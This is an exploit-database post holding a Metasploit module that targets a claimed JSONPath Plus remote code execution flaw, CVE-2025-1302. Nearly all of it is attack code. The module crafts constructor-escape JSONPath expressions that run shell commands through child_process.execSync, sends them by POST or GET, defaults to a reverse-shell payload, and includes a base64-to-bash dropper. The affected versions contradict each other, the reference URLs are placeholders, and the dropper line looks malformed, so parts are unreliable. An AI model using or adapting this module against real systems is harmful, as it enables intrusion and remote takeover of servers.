📄 JSONPath Plus Remote Code Execution

=============================================================================================================================================
    | # Title     : JSONPath Plus < 10.3.0 Remote Code Execution Exploitation Framework                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/JSONPath-Plus/JSONPath                                                                                   |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/212004/ & 	CVE-2025-1302
    
    
    [+] Summary : 
    
            CVE-2025-1302 is a critical remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0. 
    		The vulnerability allows attackers to execute arbitrary JavaScript code through maliciously crafted JSONPath expressions, leading to complete system compromise.
    		The vulnerability exists in the JSONPath expression parser where user input is improperly sanitized before being evaluated as JavaScript code. Attackers can exploit constructor properties to break out of the JSONPath context and execute arbitrary system commands.
    
            
    
    [+] POC :
    
    ##
    # Module: exploit/multi/http/jsonpath_plus_rce
    # Version: 1.0
    # Author: indoushka
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'JSONPath Plus RCE (CVE-2025-1302)',
          'Description'    => %q{
            This module exploits a remote code execution vulnerability in JSONPath Plus
            library versions prior to 0.21.1. The vulnerability allows arbitrary JavaScript
            code execution through malicious JSONPath expressions.
          },
          'Author'         => ['indoushka'],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-1302'],
            ['URL', 'https://github.com/JSONPath-Plus/JSONPath/issues/XXX'],
            ['URL', 'https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-XXX']
          ],
          'DisclosureDate' => '2025-11-26',
          'Platform'       => ['nodejs', 'unix', 'linux'],
          'Arch'           => [ARCH_CMD, ARCH_NODEJS, ARCH_X64, ARCH_X86],
          'Payload'        => {'BadChars' => '', 'Space' => 8192},
          'Targets'        => [
            ['Automatic', {}],
            ['Node.js', {'Arch' => ARCH_NODEJS, 'Platform' => 'nodejs'}],
            ['Unix Command', {'Arch' => ARCH_CMD, 'Platform' => 'unix'}],
            ['Linux Dropper', {'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'linux'}]
          ],
          'DefaultTarget'  => 0,
          'DefaultOptions' => {
            'SSL' => false,
            'RPORT' => 3000,
            'PAYLOAD' => 'nodejs/shell_reverse_tcp'
          },
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
          }
        ))
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to the vulnerable endpoint', '/']),
          OptEnum.new('METHOD', [true, 'HTTP method to use', 'AUTO', ['POST', 'GET', 'AUTO']]),
          OptBool.new('NO_FALLBACK', [false, 'Disable GET fallback', false]),
          OptInt.new('DELAY', [false, 'Delay before exploitation (seconds)', 0]),
          OptString.new('PAYLOAD_FILE', [false, 'Path to custom payload file']),
          OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
        ])
    
        register_advanced_options([
          OptString.new('CustomPayload', [false, 'Custom JSONPath payload']),
          OptBool.new('DebugRequests', [false, 'Debug HTTP requests/responses', false])
        ])
      end
    
      def check
        test_payload = '$[?(@.constructor.constructor("return process.version")())]'
        
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path),
          'ctype'    => 'application/json',
          'data'     => { 'path' => test_payload }.to_json
        })
    
        return CheckCode::Unknown('No response from target') unless res
    
        if res.body.include?('v') && res.body =~ /\d+\.\d+\.\d+/
          return CheckCode::Appears("Node.js version detected: #{res.body}")
        end
    
        CheckCode::Safe
      end
    
      def exploit
        print_status("Starting exploitation for CVE-2025-1302")
    
        # Apply delay if specified
        if datastore['DELAY'] > 0
          print_status("Delaying #{datastore['DELAY']} seconds before exploitation...")
          delay_progress(datastore['DELAY'])
        end
    
        # Determine payload based on target
        payload = generate_payload
        print_status("Generated payload: #{payload[0..100]}...") if datastore['VERBOSE']
    
        # Execute exploitation
        case target['Platform']
        when 'nodejs'
          exploit_nodejs(payload)
        when 'unix'
          exploit_unix(payload)
        when 'linux'
          exploit_linux(payload)
        else
          exploit_auto(payload)
        end
      end
    
      def generate_payload
        if datastore['CustomPayload']
          return datastore['CustomPayload']
        end
    
        case target['Platform']
        when 'nodejs'
          generate_nodejs_payload
        when 'unix', 'linux'
          generate_cmd_payload
        else
          # Auto-detect based on selected payload
          if payload_instance.name.include?('nodejs')
            generate_nodejs_payload
          else
            generate_cmd_payload
          end
        end
      end
    
      def generate_nodejs_payload
        cmd = payload.encoded
        # Escape for JavaScript string
        escaped_cmd = cmd.gsub('"', '\"').gsub("'", "\\'")
        
        %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{escaped_cmd}')")())]}
      end
    
      def generate_cmd_payload
        case target['Platform']
        when 'unix'
          cmd = payload.encoded
          %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
        when 'linux'
          # For Linux dropper, we need a different approach
          %Q{$[?(@.constructor.constructor("require('child_process').execSync('bash -c \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | bash')")())]}
        else
          generate_nodejs_payload
        end
      end
    
      def exploit_auto(payload_str)
        method = datastore['NO_FALLBACK'] ? 'POST' : datastore['METHOD']
        
        case method
        when 'POST'
          send_post_request(payload_str)
        when 'GET'
          send_get_request(payload_str)
        when 'AUTO'
          exploit_with_fallback(payload_str)
        end
      end
    
      def exploit_with_fallback(payload_str)
        print_status("Attempting POST request...")
        res = send_post_request(payload_str)
        
        if res && (res.code < 400)
          print_good("POST request successful")
          return true
        end
    
        print_status("POST failed, falling back to GET...")
        res = send_get_request(payload_str)
        
        if res && (res.code < 400)
          print_good("GET request successful")
          return true
        end
    
        fail_with(Failure::Unknown, "Both POST and GET methods failed")
      end
    
      def send_post_request(payload_str)
        data = { 'path' => payload_str }.to_json
        
        print_status("Sending POST request with payload") if datastore['VERBOSE']
        debug_request('POST', data) if datastore['DebugRequests']
        
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path),
          'ctype'   => 'application/json',
          'data'    => data
        }, datastore['HTTP_TIMEOUT'] || 10)
    
        debug_response(res) if datastore['DebugRequests'] && res
        handle_response(res, 'POST')
      end
    
      def send_get_request(payload_str)
        print_status("Sending GET request with payload") if datastore['VERBOSE']
        
        res = send_request_cgi({
          'method'  => 'GET',
          'uri'     => normalize_uri(target_uri.path),
          'vars_get' => { 'path' => payload_str }
        }, datastore['HTTP_TIMEOUT'] || 10)
    
        debug_response(res) if datastore['DebugRequests'] && res
        handle_response(res, 'GET')
      end
    
      def handle_response(res, method)
        unless res
          print_error("#{method} request failed - no response")
          return nil
        end
    
        if datastore['VERBOSE']
          print_status("#{method} Response: Code=#{res.code}, Body=#{res.body[0..200]}...")
        end
    
        if res.code >= 400
          print_error("#{method} request failed with code #{res.code}")
          return nil
        end
    
        res
      end
    
      def exploit_nodejs(payload_str)
        print_status("Exploiting Node.js target...")
        exploit_auto(payload_str)
        
        # For Node.js payloads, we need to handle the session differently
        if payload_instance.respond_to?(:handle_connection)
          handler
        end
      end
    
      def exploit_unix(payload_str)
        print_status("Exploiting Unix command target...")
        exploit_auto(payload_str)
      end
    
      def exploit_linux(payload_str)
        print_status("Exploiting Linux target with dropper...")
        
        # Use cmd stager for Linux targets
        execute_cmdstager({
          :linemax => 8000,
          :nodelete => true
        })
      end
    
      def execute_command(cmd, opts = {})
        payload_str = %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
        exploit_auto(payload_str)
      end
    
      def delay_progress(seconds)
        return if seconds <= 0
        
        print_status("Waiting #{seconds} seconds...")
        1.upto(seconds) do |i|
          print_status("Delay: #{i}/#{seconds}") if i % 5 == 0 || i <= 3
          sleep(1)
        end
      end
    
      def debug_request(method, data)
        print_status("[DEBUG #{Time.now.utc.iso8601}] #{method} Request:")
        print_status("Data: #{data}")
      end
    
      def debug_response(res)
        return unless res
        
        print_status("[DEBUG #{Time.now.utc.iso8601}] Response:")
        print_status("Status: #{res.code}")
        print_status("Headers: #{res.headers}")
        print_status("Body: #{res.body}")
      end
    
      def load_custom_payloads(file_path)
        return [] unless File.exist?(file_path)
        
        payloads = []
        File.readlines(file_path).each do |line|
          next if line.strip.empty?
          payloads << line.strip
        end
        payloads
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================